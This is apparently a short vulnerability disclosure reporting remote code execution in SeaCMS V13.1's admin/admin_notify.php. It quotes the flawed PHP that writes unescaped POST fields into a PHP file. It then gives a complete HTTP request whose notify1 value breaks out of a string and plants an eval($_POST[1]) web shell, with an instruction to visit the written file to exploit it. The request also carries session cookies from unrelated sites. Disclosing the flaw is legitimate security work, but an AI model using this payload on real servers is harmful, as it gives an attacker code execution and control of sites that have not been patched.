SeaCMS_V13.1_install_f/admin/admin_notify.php have a RCE

[0kooo]

Vulnerable file

if($action=="set")
{
	$notify1= $_POST['notify1'];
	$notify2= $_POST['notify2'];
	$notify3= $_POST['notify3'];
	$open=fopen("../data/admin/notify.php","w" );
	$str='<?php  ';
	$str.='$notify1 = "';
	$str.="$notify1";
	$str.='"; ';
	$str.='$notify2 = "';
	$str.="$notify2";
	$str.='"; ';
	$str.='$notify3 = "';
	$str.="$notify3";
	$str.='"; ';
	$str.=" ?>";
	fwrite($open,$str);
	fclose($open);
	ShowMsg("成功保存设置!","admin_notify.php");
	exit;
}

POC

POST /cxxqv7/admin_notify.php?action=set HTTP/1.1
Host: host
Content-Length: 68
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: deviceid=1722062988348; xinhu_ca_rempass=0; xinhu_mo_adminid=yy0nm0mjj0mjn0vy0mmj0vk0mmn0mjm0iq0mjz0mjz0iv0vi0iu0nv07; xinhu_ca_adminuser=rock; WS_ADMIN_URL=ws://demo.com/notice; WS_CHAT_URL=ws://demo.com/msg; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MjY6InBocCB8IHBocD8gfCBwaHRtbCB8IHNodG1sIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D; PHPSESSID=ai3g0dn9ta148eftpns69215jd
Connection: keep-alive

notify1=%22%3B%40eval%28%24_POST%5B1%5D%29%3B%22&notify2=1&notify3=1

Access the location where the danger function is saved and exploited

[ludada77]

6

[lem0n817]

6